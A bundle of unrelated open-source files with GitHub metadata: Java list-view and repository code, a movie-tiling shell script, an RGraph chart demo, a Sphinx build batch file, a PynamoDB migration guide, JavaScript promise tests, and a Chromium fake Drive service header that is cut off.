final int touchSlop = this.touchSlop;
boolean xMoved = xDiff > touchSlop;
boolean yMoved = yDiff > touchSlop;
if (xMoved) {
touchState = TOUCH_STATE_SCROLLING_X;
lastMotionX = x;
lastMotionY = y;
}
if (yMoved) {
touchState = TOUCH_STATE_SCROLLING_Y;
lastMotionX = x;
lastMotionY = y;
}
}
/**
* Close all opened items
*/
public void closeOpenedItems() {
touchListener.closeOpenedItems();
}
}
| {
"content_hash": "386df1e771fa947192d78dd6c5a70813",
"timestamp": "",
"source": "github",
"line_count": 517,
"max_line_length": 232,
"avg_line_length": 29.100580270793035,
"alnum_prop": 0.6331006979062812,
"repo_name": "ChanJLee/DecryptStranger",
"id": "3e9d6565363617da882fd8b1b02594f011aed4d2",
"size": "15686",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "src/java/com/theOldMen/swipelistview/SwipeListView.java",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Java",
"bytes": "1098252"
}
],
"symlink_target": ""
} |
movieFile=$1
workDir=$2
framesDir=$workDir/frames
tilesDir=$workDir/tiles
tiledMovieDir=$workDir/movie.tdmovie
scriptsDir=~eolson/am-macs/src/flPy/flTile/scripts
. ~eolson/am-macs/env.sh
cd ~eolson/am-macs/src/flPy/flTile/scripts
echo "Converting movie to frames"
mkdir -p $framesDir
python $scriptsDir/movieToImages.py $movieFile $framesDir
if [ "$?" != "0" ] ; then
echo "exiting with error $?"
exit
fi
echo "Resizing"
echo mogrify -resize 5120x2304 $framesDir/\*.png
mogrify -resize 5120x2304 $framesDir/*.png
echo "Cutting frames into tiles"
mkdir -p $tilesDir
echo python $scriptsDir/chopImagesToImageTiles.py $framesDir $tilesDir 128x128
python $scriptsDir/chopImagesToImageTiles.py $framesDir $tilesDir 128x128
if [ "$?" != "0" ] ; then
echo "exiting with error $?"
exit
fi
echo "Compositing tiles into movies"
# mkdir -p $tiledMovieDir
echo python $scriptsDir/imageTilesToTiledMovie.py $tilesDir $tiledMovieDir
python $scriptsDir/imageTilesToTiledMovie.py $tilesDir $tiledMovieDir
if [ "$?" != "0" ] ; then
echo "exiting with error $?"
exit
fi
echo "Copying tiled movies to all machines"
#python ~eolson/am-macs/scripts/run.py "mkdir -p $tiledMovieDir"
#python ~eolson/am-macs/scripts/run.py "scp -r am-mac2:$tiledMovieDir $tiledMovieDir"
if [ "$?" != "0" ] ; then
echo "exiting with error $?"
exit
fi
echo "Finished"
| {
"content_hash": "3e5b871d10b05707b4a6e7f59edfc97d",
"timestamp": "",
"source": "github",
"line_count": 50,
"max_line_length": 85,
"avg_line_length": 27.06,
"alnum_prop": 0.7398373983739838,
"repo_name": "rpwagner/tiled-display",
"id": "b336788c0a50584e3b7c7603c134b9e56dce734e",
"size": "1366",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "flTile/scripts/makeTiledMovie.sh",
"mode": "33188",
"license": "apache-2.0",
"language": [],
"symlink_target": ""
} |
package org.openkilda.persistence.repositories;
import org.openkilda.model.GroupId;
import org.openkilda.model.MirrorGroup;
import org.openkilda.model.PathId;
import org.openkilda.model.SwitchId;
import java.util.Collection;
import java.util.Optional;
public interface MirrorGroupRepository extends Repository<MirrorGroup> {
Collection<MirrorGroup> findAll();
/**
* Find group by Path Id.
*
* @param pathId path ID
* @return a collection of {@link MirrorGroup}
*/
Collection<MirrorGroup> findByPathId(PathId pathId);
/**
* Find group by Switch Id.
*
* @param switchId switch ID
* @return a collection of {@link MirrorGroup}
*/
Collection<MirrorGroup> findBySwitchId(SwitchId switchId);
/**
* Find group by Group Id.
*
* @param groupId group ID
* @return a collection of {@link MirrorGroup}
*/
Optional<MirrorGroup> findByGroupIdAndSwitchId(GroupId groupId, SwitchId switchId);
/**
* Find group by Path Id and Switch Id.
*
* @param pathId path ID
* @param switchId switch ID
* @return a collection of {@link MirrorGroup}
*/
Optional<MirrorGroup> findByPathIdAndSwitchId(PathId pathId, SwitchId switchId);
boolean exists(SwitchId switchId, GroupId groupId);
/**
* Find a group id which is not assigned to any flow.
*
* @param switchId the switch defines where the group is applied on.
* @param lowestGroupId the lowest value for a potential group id.
* @param highestGroupId the highest value for a potential group id.
* @return a meter id or {@link Optional#empty()} if no meter available.
*/
Optional<GroupId> findFirstUnassignedGroupId(SwitchId switchId, GroupId lowestGroupId, GroupId highestGroupId);
}
| {
"content_hash": "ed4fee5c5e92dc64036c2feb7cffaee1",
"timestamp": "",
"source": "github",
"line_count": 60,
"max_line_length": 115,
"avg_line_length": 30.183333333333334,
"alnum_prop": 0.688017669795693,
"repo_name": "telstra/open-kilda",
"id": "26292c8244d7d73ce87eba333a0c6936fa68da4f",
"size": "2428",
"binary": false,
"copies": "1",
"ref": "refs/heads/develop",
"path": "src-java/kilda-persistence-api/src/main/java/org/openkilda/persistence/repositories/MirrorGroupRepository.java",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "C++",
"bytes": "89798"
},
{
"name": "CMake",
"bytes": "4314"
},
{
"name": "CSS",
"bytes": "233390"
},
{
"name": "Dockerfile",
"bytes": "30541"
},
{
"name": "Groovy",
"bytes": "2234079"
},
{
"name": "HTML",
"bytes": "362166"
},
{
"name": "Java",
"bytes": "14631453"
},
{
"name": "JavaScript",
"bytes": "369015"
},
{
"name": "Jinja",
"bytes": "937"
},
{
"name": "Makefile",
"bytes": "20500"
},
{
"name": "Python",
"bytes": "367364"
},
{
"name": "Shell",
"bytes": "62664"
},
{
"name": "TypeScript",
"bytes": "867537"
}
],
"symlink_target": ""
} |
<!DOCTYPE html >
<html>
<head>
<script src="../libraries/RGraph.common.core.js" ></script>
<script src="../libraries/RGraph.common.dynamic.js" ></script>
<script src="../libraries/RGraph.common.key.js" ></script>
<script src="../libraries/RGraph.drawing.rect.js" ></script>
<script src="../libraries/RGraph.rose.js" ></script>
<title>RGraph demo: An example of a Rose chart with an interactive key</title>
<link rel="stylesheet" href="demos.css" type="text/css" media="screen" />
<meta name="robots" content="noindex,nofollow" />
<meta name="description" content="An example of a Rose chart with an interactive key" />
</head>
<body>
<!-- Share buttons -->
<p style="float: right">
<script>
document.write('<a href="" target="_blank" onclick="window.open(\'https://www.facebook.com/sharer/sharer.php?u=http://www.rgraph.net' + location.pathname + '\', null, \'top=50,left=50,width=600,height=368\'); return false"><img src="../images/facebook-large.png" width="200" height="43" alt="Share on Facebook" border="0" title="Visit the RGraph Facebook page" id="facebook_link" /></a> ');
document.write('<a href="https://twitter.com/_rgraph" target="_blank" onclick="window.open(\'https://twitter.com/intent/tweet?text=Check%20out%20this%20demo%20of%20RGraph:%202D/3D%20JavaScript%20charts%20-%20Free%20and%20Open%20Source%20http://www.rgraph.net' + location.pathname + '\', null, \'top=50,left=50,width=700,height=400\'); return false"><img src="../images/twitter-large.png" width="200" height="43" alt="Share on Twitter" border="0" title="Mention RGraph on Twitter" id="twitter_link" /></a>');
</script>
</p>
<h1>An example of a Rose chart with an interactive key</h1>
<p>
The interactive key has been re-implemented as of June 2013 and added to more chart types.
</p>
<canvas id="cvs" width="450" height="300">[No canvas support]</canvas>
<script>
window.onload = function ()
{
var rose = new RGraph.Rose({
id: 'cvs',
data: [
[3,2,5],
[4,5,3],
[5,6,4],
[1,8,5],
[4,5,3]
],
options: {
textAccessible: true,
key: ['Richard','Dave','Charles'],
keyInteractive: true,
margin: 5,
labelsAxes: 'n'
}
}).draw();
};
</script>
<p></p>
This goes in the documents header:
<pre class="code">
<script src="RGraph.common.core.js"></script>
<script src="RGraph.common.dynamic.js"></script>
<script src="RGraph.common.key.js"></script>
<script src="RGraph.drawing.rect.js"></script>
<script src="RGraph.bar.js"></script>
</pre>
Put this where you want the chart to show up:
<pre class="code">
<canvas id="cvs" width="450" height="300">
[No canvas support]
</canvas>
</pre>
This is the code that generates the chart:
<pre class="code">
<script>
window.onload = function ()
{
var rose = new RGraph.Rose({
id: 'cvs',
data: [
[3,2,5],
[4,5,3],
[5,6,4],
[1,8,5],
[4,5,3]
],
options: {
textAccessible: true,
key: ['Richard','Dave','Charles'],
keyInteractive: true,
margin: 5,
labelsAxes: []
}
}).draw();
};
</script>
</pre>
<a href="./"><Back</a><br />
</body>
</html> | {
"content_hash": "e1a705a5e997a401118533bf18a9046b",
"timestamp": "",
"source": "github",
"line_count": 114,
"max_line_length": 519,
"avg_line_length": 33.57017543859649,
"alnum_prop": 0.5377580350143716,
"repo_name": "mkiwebs/churchapp",
"id": "eb9ba5bd4263d33094e4c00f91321ba185d7ffe1",
"size": "3827",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "backend/web/RGraph/demos/rose-interactive-key.html",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "Batchfile",
"bytes": "1546"
},
{
"name": "C",
"bytes": "8122"
},
{
"name": "CSS",
"bytes": "1071200"
},
{
"name": "HTML",
"bytes": "8886362"
},
{
"name": "JavaScript",
"bytes": "8094539"
},
{
"name": "PHP",
"bytes": "186557"
},
{
"name": "Shell",
"bytes": "3256"
}
],
"symlink_target": ""
} |
@ECHO OFF
REM Command file for Sphinx documentation
if "%SPHINXBUILD%" == "" (
set SPHINXBUILD=sphinx-build
)
set BUILDDIR=build
set ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% source
set I18NSPHINXOPTS=%SPHINXOPTS% source
if NOT "%PAPER%" == "" (
set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%
set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS%
)
if "%1" == "" goto help
if "%1" == "help" (
:help
echo.Please use `make ^<target^>` where ^<target^> is one of
echo. html to make standalone HTML files
echo. dirhtml to make HTML files named index.html in directories
echo. singlehtml to make a single large HTML file
echo. pickle to make pickle files
echo. json to make JSON files
echo. htmlhelp to make HTML files and a HTML help project
echo. qthelp to make HTML files and a qthelp project
echo. devhelp to make HTML files and a Devhelp project
echo. epub to make an epub
echo. latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter
echo. text to make text files
echo. man to make manual pages
echo. texinfo to make Texinfo files
echo. gettext to make PO message catalogs
echo. changes to make an overview over all changed/added/deprecated items
echo. xml to make Docutils-native XML files
echo. pseudoxml to make pseudoxml-XML files for display purposes
echo. linkcheck to check all external links for integrity
echo. doctest to run all doctests embedded in the documentation if enabled
echo. coverage to run coverage check of the documentation if enabled
goto end
)
if "%1" == "clean" (
for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i
del /q /s %BUILDDIR%\*
goto end
)
REM Check if sphinx-build is available and fallback to Python version if any
%SPHINXBUILD% 2> nul
if errorlevel 9009 goto sphinx_python
goto sphinx_ok
:sphinx_python
set SPHINXBUILD=python -m sphinx.__init__
%SPHINXBUILD% 2> nul
if errorlevel 9009 (
echo.
echo.The 'sphinx-build' command was not found. Make sure you have Sphinx
echo.installed, then set the SPHINXBUILD environment variable to point
echo.to the full path of the 'sphinx-build' executable. Alternatively you
echo.may add the Sphinx directory to PATH.
echo.
echo.If you don't have Sphinx installed, grab it from
echo.http://sphinx-doc.org/
exit /b 1
)
:sphinx_ok
if "%1" == "html" (
%SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html
if errorlevel 1 exit /b 1
echo.
echo.Build finished. The HTML pages are in %BUILDDIR%/html.
goto end
)
if "%1" == "dirhtml" (
%SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml
if errorlevel 1 exit /b 1
echo.
echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.
goto end
)
if "%1" == "singlehtml" (
%SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml
if errorlevel 1 exit /b 1
echo.
echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.
goto end
)
if "%1" == "pickle" (
%SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle
if errorlevel 1 exit /b 1
echo.
echo.Build finished; now you can process the pickle files.
goto end
)
if "%1" == "json" (
%SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json
if errorlevel 1 exit /b 1
echo.
echo.Build finished; now you can process the JSON files.
goto end
)
if "%1" == "htmlhelp" (
%SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp
if errorlevel 1 exit /b 1
echo.
echo.Build finished; now you can run HTML Help Workshop with the ^
.hhp project file in %BUILDDIR%/htmlhelp.
goto end
)
if "%1" == "qthelp" (
%SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp
if errorlevel 1 exit /b 1
echo.
echo.Build finished; now you can run "qcollectiongenerator" with the ^
.qhcp project file in %BUILDDIR%/qthelp, like this:
echo.^> qcollectiongenerator %BUILDDIR%\qthelp\OrangeDataMiningLibrary.qhcp
echo.To view the help file:
echo.^> assistant -collectionFile %BUILDDIR%\qthelp\OrangeDataMiningLibrary.ghc
goto end
)
if "%1" == "devhelp" (
%SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp
if errorlevel 1 exit /b 1
echo.
echo.Build finished.
goto end
)
if "%1" == "epub" (
%SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub
if errorlevel 1 exit /b 1
echo.
echo.Build finished. The epub file is in %BUILDDIR%/epub.
goto end
)
if "%1" == "latex" (
%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
if errorlevel 1 exit /b 1
echo.
echo.Build finished; the LaTeX files are in %BUILDDIR%/latex.
goto end
)
if "%1" == "latexpdf" (
%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
cd %BUILDDIR%/latex
make all-pdf
cd %~dp0
echo.
echo.Build finished; the PDF files are in %BUILDDIR%/latex.
goto end
)
if "%1" == "latexpdfja" (
%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
cd %BUILDDIR%/latex
make all-pdf-ja
cd %~dp0
echo.
echo.Build finished; the PDF files are in %BUILDDIR%/latex.
goto end
)
if "%1" == "text" (
%SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text
if errorlevel 1 exit /b 1
echo.
echo.Build finished. The text files are in %BUILDDIR%/text.
goto end
)
if "%1" == "man" (
%SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man
if errorlevel 1 exit /b 1
echo.
echo.Build finished. The manual pages are in %BUILDDIR%/man.
goto end
)
if "%1" == "texinfo" (
%SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo
if errorlevel 1 exit /b 1
echo.
echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo.
goto end
)
if "%1" == "gettext" (
%SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale
if errorlevel 1 exit /b 1
echo.
echo.Build finished. The message catalogs are in %BUILDDIR%/locale.
goto end
)
if "%1" == "changes" (
%SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes
if errorlevel 1 exit /b 1
echo.
echo.The overview file is in %BUILDDIR%/changes.
goto end
)
if "%1" == "linkcheck" (
%SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck
if errorlevel 1 exit /b 1
echo.
echo.Link check complete; look for any errors in the above output ^
or in %BUILDDIR%/linkcheck/output.txt.
goto end
)
if "%1" == "doctest" (
%SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest
if errorlevel 1 exit /b 1
echo.
echo.Testing of doctests in the sources finished, look at the ^
results in %BUILDDIR%/doctest/output.txt.
goto end
)
if "%1" == "coverage" (
%SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage
if errorlevel 1 exit /b 1
echo.
echo.Testing of coverage in the sources finished, look at the ^
results in %BUILDDIR%/coverage/python.txt.
goto end
)
if "%1" == "xml" (
%SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml
if errorlevel 1 exit /b 1
echo.
echo.Build finished. The XML files are in %BUILDDIR%/xml.
goto end
)
if "%1" == "pseudoxml" (
%SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml
if errorlevel 1 exit /b 1
echo.
echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml.
goto end
)
:end
| {
"content_hash": "25f6dbb5d446abff9325d43cceb28729",
"timestamp": "",
"source": "github",
"line_count": 263,
"max_line_length": 80,
"avg_line_length": 26.70722433460076,
"alnum_prop": 0.7064350797266514,
"repo_name": "qPCR4vir/orange3",
"id": "3064e1fb18d368f56a86dca33801fb2bd1fce6b0",
"size": "7024",
"binary": false,
"copies": "21",
"ref": "refs/heads/master",
"path": "doc/data-mining-library/make.bat",
"mode": "33188",
"license": "bsd-2-clause",
"language": [
{
"name": "C",
"bytes": "20412"
},
{
"name": "C++",
"bytes": "1992"
},
{
"name": "GLSL",
"bytes": "75"
},
{
"name": "HTML",
"bytes": "3503"
},
{
"name": "JavaScript",
"bytes": "12007"
},
{
"name": "Jupyter Notebook",
"bytes": "6662"
},
{
"name": "NSIS",
"bytes": "20281"
},
{
"name": "Python",
"bytes": "4205054"
},
{
"name": "Shell",
"bytes": "48335"
}
],
"symlink_target": ""
} |
Upgrading UnicodeSetAttribute
=============================
.. warning::
The behavior of 'UnicodeSetAttribute' has changed in backwards-incompatible ways
as of the 1.6.0 and 3.0.1 releases of PynamoDB.
The following steps can be used to safely update PynamoDB assuming that the data stored
in the item's UnicodeSetAttribute is not JSON. If JSON is being stored, these steps will
not work and a custom migration plan is required. Be aware that values such as numeric
strings (i.e. "123") are valid JSON.
When upgrading services that use PynamoDB with tables that contain UnicodeSetAttributes
with a version < 1.6.0, first deploy version 1.5.4 to prepare the read path for the new
serialization format.
Once all services that read from the tables have been deployed, then deploy version 2.2.0
and migrate your data using the provided convenience methods on the Model.
(Note: these methods are only available in version 2.2.0)
.. code-block:: python
def get_save_kwargs(item):
# any conditional args needed to ensure data does not get overwritten
# for example if your item has a `version` attribute
{'version__eq': item.version}
# Re-serialize all UnicodeSetAttributes in the table by scanning all items.
# See documentation of fix_unicode_set_attributes for rate limiting options
# to avoid exceeding provisioned capacity.
Model.fix_unicode_set_attributes(get_save_kwargs)
# Verify the migration is complete
print("Migration Complete? " + Model.needs_unicode_set_fix())
Once all data has been migrated then upgrade to a version >= 3.0.1.
| {
"content_hash": "9a164b7f655b95e9728408a707ea0350",
"timestamp": "",
"source": "github",
"line_count": 37,
"max_line_length": 89,
"avg_line_length": 43.432432432432435,
"alnum_prop": 0.7411325451151214,
"repo_name": "pynamodb/PynamoDB",
"id": "1c69a93abcfe788398f1b3873898f2529e4fdbfa",
"size": "1607",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "docs/upgrading_unicodeset.rst",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "629971"
}
],
"symlink_target": ""
} |
var TsugiUtils = require('../src/util/TsugiUtils');
describe('TsugiUtils', function() {
it('emptyPromise', function () {
TsugiUtils.emptyPromise(42).then( function(val) {
assert.equal(val, 42);
console.log("Empty 42 success (correct):", val);
}, function(val) {
assert.fail("Empty 42 fail:"+val);
});
});
it("emptyPromiseFail", function() {
TsugiUtils.emptyPromiseFail(43).then( function(val) {
assert.fail("Empty 43 success:"+val);
}, function(val) {
assert.success("Empty 43 fail (correct):"+val);
});
});
it("FailInSeries", function() {
TsugiUtils.emptyPromise(44).then( function(val) {
return 20;
}, function(val) {
assert.fail("Then 1 fail (bad):"+val);
}).then( function(val) {
assert.success("Then 2 starting"+val);
TsugiUtils.emptyPromiseFail(val).then( function(val) {
assert.fail("Then 2 success (bad):"+val);
return 22;
// Note that if you *catch* the error, it does not break the then chain
// }, function(val) {
// console.log("Then 2 fail (good):", val);
// return 23;
}).then( function(val) {
assert.fail("Then 3 starting (bad)"+val);
});
});
});
// Returning a promise from within a promise
it("PromiseWithinPromise", function() {
TsugiUtils.emptyPromise(52).then( function(val) {
assert.equal(val,52);
return TsugiUtils.emptyPromise(53);
}).then( function(val) {
assert.equal(val,53);
});
});
});
| {
"content_hash": "308ef4e1fd2ad05a967ac3a8124f8ead",
"timestamp": "",
"source": "github",
"line_count": 52,
"max_line_length": 79,
"avg_line_length": 30.307692307692307,
"alnum_prop": 0.5717005076142132,
"repo_name": "csev/tsugi-node",
"id": "d14d3086af18107cf9541baddf45e3c0cb861b24",
"size": "1578",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "test/tsugiutils.js",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "JavaScript",
"bytes": "82682"
}
],
"symlink_target": ""
} |
namespace base {
class DictionaryValue;
}
namespace google_apis {
class AboutResource;
class ChangeResource;
class FileResource;
}
namespace drive {
// This class implements a fake DriveService which acts like a real Drive
// service. The fake service works as follows:
//
// 1) Load JSON files and construct the in-memory resource list.
// 2) Return valid responses based on the the in-memory resource list.
// 3) Update the in-memory resource list by requests like DeleteResource().
class FakeDriveService : public DriveServiceInterface {
public:
class ChangeObserver {
public:
virtual ~ChangeObserver() {}
virtual void OnNewChangeAvailable() = 0;
};
FakeDriveService();
~FakeDriveService() override;
// Loads the app list for Drive API. Returns true on success.
bool LoadAppListForDriveApi(const std::string& relative_path);
// Adds an app to app list.
void AddApp(const std::string& app_id,
const std::string& app_name,
const std::string& product_id,
const std::string& create_url,
bool is_removable);
// Removes an app by product id.
void RemoveAppByProductId(const std::string& product_id);
// Returns true if the service knows the given drive app id.
bool HasApp(const std::string& app_id) const;
// Changes the offline state. All functions fail with DRIVE_NO_CONNECTION
// when offline. By default the offline state is false.
void set_offline(bool offline) { offline_ = offline; }
// GetAllFileList never returns result when this is set to true.
// Used to emulate the real server's slowness.
void set_never_return_all_file_list(bool value) {
never_return_all_file_list_ = value;
}
// Changes the default max results returned from GetAllFileList().
// By default, it's set to 0, which is unlimited.
void set_default_max_results(int default_max_results) {
default_max_results_ = default_max_results;
}
// Sets the url to the test server to be used as a base for generated share
// urls to the share dialog.
void set_share_url_base(const GURL& share_url_base) {
share_url_base_ = share_url_base;
}
// Changes the quota fields returned from GetAboutResource().
void SetQuotaValue(int64 used, int64 total);
// Returns the AboutResource.
const google_apis::AboutResource& about_resource() const {
return *about_resource_;
}
// Returns the number of times the file list is successfully loaded by
// GetAllFileList().
int file_list_load_count() const { return file_list_load_count_; }
// Returns the number of times the resource list is successfully loaded by
// GetChangeList().
int change_list_load_count() const { return change_list_load_count_; }
// Returns the number of times the resource list is successfully loaded by
// GetFileListInDirectory().
int directory_load_count() const { return directory_load_count_; }
// Returns the number of times the about resource is successfully loaded
// by GetAboutResource().
int about_resource_load_count() const {
return about_resource_load_count_;
}
// Returns the number of times the app list is successfully loaded by
// GetAppList().
int app_list_load_count() const { return app_list_load_count_; }
// Returns the number of times GetAllFileList are blocked due to
// set_never_return_all_file_list().
int blocked_file_list_load_count() const {
return blocked_file_list_load_count_;
}
// Returns the file path whose request is cancelled just before this method
// invocation.
const base::FilePath& last_cancelled_file() const {
return last_cancelled_file_;
}
// Returns the (fake) URL for the link.
static GURL GetFakeLinkUrl(const std::string& resource_id);
// Sets the printf format for constructing the response of AuthorizeApp().
// The format string must include two %s that are to be filled with
// resource_id and app_id.
void set_open_url_format(const std::string& url_format) {
open_url_format_ = url_format;
}
// DriveServiceInterface Overrides
void Initialize(const std::string& account_id) override;
void AddObserver(DriveServiceObserver* observer) override;
void RemoveObserver(DriveServiceObserver* observer) override;
bool CanSendRequest() const override;
std::string GetRootResourceId() const override;
bool HasAccessToken() const override;
void RequestAccessToken(
const google_apis::AuthStatusCallback& callback) override;
bool HasRefreshToken() const override;
void ClearAccessToken() override;
void ClearRefreshToken() override;
google_apis::CancelCallback GetAllFileList(
const google_apis::FileListCallback& callback) override;
google_apis::CancelCallback GetFileListInDirectory(
const std::string& directory_resource_id,
const google_apis::FileListCallback& callback) override;
// See the comment for EntryMatchWidthQuery() in .cc file for details about
// the supported search query types.
google_apis::CancelCallback Search(
const std::string& search_query,
const google_apis::FileListCallback& callback) override;
google_apis::CancelCallback SearchByTitle(
const std::string& title,
const std::string& directory_resource_id,
const google_apis::FileListCallback& callback) override;
google_apis::CancelCallback GetChangeList(
int64 start_changestamp,
const google_apis::ChangeListCallback& callback) override;
google_apis::CancelCallback GetRemainingChangeList(
const GURL& next_link,
const google_apis::ChangeListCallback& callback) override;
google_apis::CancelCallback GetRemainingFileList(
const GURL& next_link,
const google_apis::FileListCallback& callback) override;
google_apis::CancelCallback GetFileResource(
const std::string& resource_id,
const google_apis::FileResourceCallback& callback) override;
google_apis::CancelCallback GetShareUrl(
const std::string& resource_id,
const GURL& embed_origin,
const google_apis::GetShareUrlCallback& callback) override;
google_apis::CancelCallback GetAboutResource(
const google_apis::AboutResourceCallback& callback) override;
google_apis::CancelCallback GetAppList(
const google_apis::AppListCallback& callback) override;
google_apis::CancelCallback DeleteResource(
const std::string& resource_id,
const std::string& etag,
const google_apis::EntryActionCallback& callback) override;
google_apis::CancelCallback TrashResource(
const std::string& resource_id,
const google_apis::EntryActionCallback& callback) override;
google_apis::CancelCallback DownloadFile(
const base::FilePath& local_cache_path,
const std::string& resource_id,
const google_apis::DownloadActionCallback& download_action_callback,
const google_apis::GetContentCallback& get_content_callback,
const google_apis::ProgressCallback& progress_callback) override;
google_apis::CancelCallback CopyResource(
const std::string& resource_id,
const std::string& parent_resource_id,
const std::string& new_title,
const base::Time& last_modified,
const google_apis::FileResourceCallback& callback) override;
google_apis::CancelCallback UpdateResource(
const std::string& resource_id,
const std::string& parent_resource_id,
const std::string& new_title,
const base::Time& last_modified,
const base::Time& last_viewed_by_me,
const google_apis::drive::Properties& properties,
const google_apis::FileResourceCallback& callback) override;
google_apis::CancelCallback AddResourceToDirectory(
const std::string& parent_resource_id,
const std::string& resource_id,
const google_apis::EntryActionCallback& callback) override;
google_apis::CancelCallback RemoveResourceFromDirectory(
const std::string& parent_resource_id,
const std::string& resource_id,
const google_apis::EntryActionCallback& callback) override;
google_apis::CancelCallback AddNewDirectory(
const std::string& parent_resource_id,
const std::string& directory_title,
const AddNewDirectoryOptions& options,
const google_apis::FileResourceCallback& callback) override;
google_apis::CancelCallback InitiateUploadNewFile(
const std::string& content_type,
int64 content_length,
const std::string& parent_resource_id,
const std::string& title,
const UploadNewFileOptions& options,
const google_apis::InitiateUploadCallback& callback) override;
google_apis::CancelCallback InitiateUploadExistingFile(
const std::string& content_type,
int64 content_length,
const std::string& resource_id,
const UploadExistingFileOptions& options,
const google_apis::InitiateUploadCallback& callback) override;
google_apis::CancelCallback ResumeUpload(
const GURL& upload_url,
int64 start_position,
int64 end_position,
int64 content_length,
const std::string& content_type,
const base::FilePath& local_file_path,
const google_apis::drive::UploadRangeCallback& callback,
const google_apis::ProgressCallback& progress_callback) override;
google_apis::CancelCallback GetUploadStatus(
const GURL& upload_url,
int64 content_length,
const google_apis::drive::UploadRangeCallback& callback) override;
google_apis::CancelCallback MultipartUploadNewFile(
const std::string& content_type,
int64 content_length,
const std::string& parent_resource_id,
const std::string& title,
const base::FilePath& local_file_path,
const UploadNewFileOptions& options,
const google_apis::FileResourceCallback& callback,
const google_apis::ProgressCallback& progress_callback) override;
google_apis::CancelCallback MultipartUploadExistingFile(
const std::string& content_type,
int64 content_length,
const std::string& resource_id,
const base::FilePath& local_file_path,
const UploadExistingFileOptions& options,
const google_apis::FileResourceCallback& callback,
const google_apis::ProgressCallback& progress_callback) override;
google_apis::CancelCallback AuthorizeApp(
const std::string& resource_id,
const std::string& app_id,
const google_apis::AuthorizeAppCallback& callback) override;
google_apis::CancelCallback UninstallApp(
const std::string& app_id,
const google_apis::EntryActionCallback& callback) override;
google_apis::CancelCallback AddPermission(
const std::string& resource_id,
const std::string& email,
google_apis::drive::PermissionRole role,
const google_apis::EntryActionCallback& callback) override;
scoped_ptr<BatchRequestConfiguratorInterface> StartBatchRequest() override;
// Adds a new file with the given parameters. On success, returns
// HTTP_CREATED with the parsed entry.
// |callback| must not be null.
void AddNewFile(const std::string& content_type,
const std::string& content_data,
const std::string& parent_resource_id,
const std::string& title,
bool shared_with_me,
const google_apis::FileResourceCallback& callback);
// Adds a new file with the given |resource_id|. If the id already exists,
// it's an error. This is used for testing cross profile file sharing that
// needs to have matching resource IDs in different fake service instances.
// |callback| must not be null.
void AddNewFileWithResourceId(
const std::string& resource_id,
const std::string& content_type,
const std::string& content_data,
const std::string& parent_resource_id,
const std::string& title,
bool shared_with_me,
const google_apis::FileResourceCallback& callback);
// Adds a new directory with the given |resource_id|.
// |callback| must not be null.
google_apis::CancelCallback AddNewDirectoryWithResourceId(
const std::string& resource_id,
const std::string& parent_resource_id,
const std::string& directory_title,
const AddNewDirectoryOptions& options,
const google_apis::FileResourceCallback& callback);
// Sets the last modified time for an entry specified by |resource_id|.
// On success, returns HTTP_SUCCESS with the parsed entry.
// |callback| must not be null.
void SetLastModifiedTime(
const std::string& resource_id,
const base::Time& last_modified_time,
const google_apis::FileResourceCallback& callback);
// Sets the user's permission for an entry specified by |resource_id|.
google_apis::DriveApiErrorCode SetUserPermission(
const std::string& resource_id,
google_apis::drive::PermissionRole user_permission);
void AddChangeObserver(ChangeObserver* observer);
void RemoveChangeObserver(ChangeObserver* observer);
private:
struct EntryInfo;
struct UploadSession;
// Returns a pointer to the entry that matches |resource_id|, or NULL if
// not found.
EntryInfo* FindEntryByResourceId(const std::string& resource_id);
// Returns a new resource ID, which looks like "resource_id_<num>" where
// <num> is a monotonically increasing number starting from 1.
std::string GetNewResourceId();
// Increments |largest_changestamp_| and adds the new changestamp.
